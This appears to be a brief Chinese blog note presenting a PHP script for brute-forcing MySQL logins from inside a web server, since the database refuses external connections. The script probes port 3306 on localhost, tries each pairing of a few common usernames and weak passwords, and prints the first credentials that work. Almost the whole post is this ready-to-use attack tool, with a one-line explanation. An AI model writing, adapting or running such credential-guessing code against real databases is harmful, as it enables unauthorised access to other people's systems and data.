在默认情况下,mysql数据库是不被允许外联的,因为是使用php代码进行编写的,那就给自己做点笔记吧
话不多说,看代码
<?php
$ip="127.0.0.1";
$users=array('', 'root', 'test', 'admin');
$passwords=array('', 'rooter', 'test', 'admin');
$mysql = @fsockopen($ip, 3306, $errno, $errstr, 5);
//探测3306是否开启
if($mysql){
foreach ($users as $user){
foreach ($passwords as $passwd){
echo "<b>".$user.":".$passwd."</b>";
$con=@mysql_connect($ip,$user,$passwd);
if($con){
$result=mysql_query("select user();");
while($row=mysql_fetch_array($result)){
#echo mysql_get_client_info()."<br/>";
echo "<hr/>".'<font color="#990000">'."username:".$user."-----"."password:".$passwd."<hr/>";
exit;
}
}else{
echo "------not burst out the password"."<br/>";
}
}
}
@mysql_close($con);
}else{
echo "<h2>3306 port is not open.</h2>";
}
?>
附加一图:
网友评论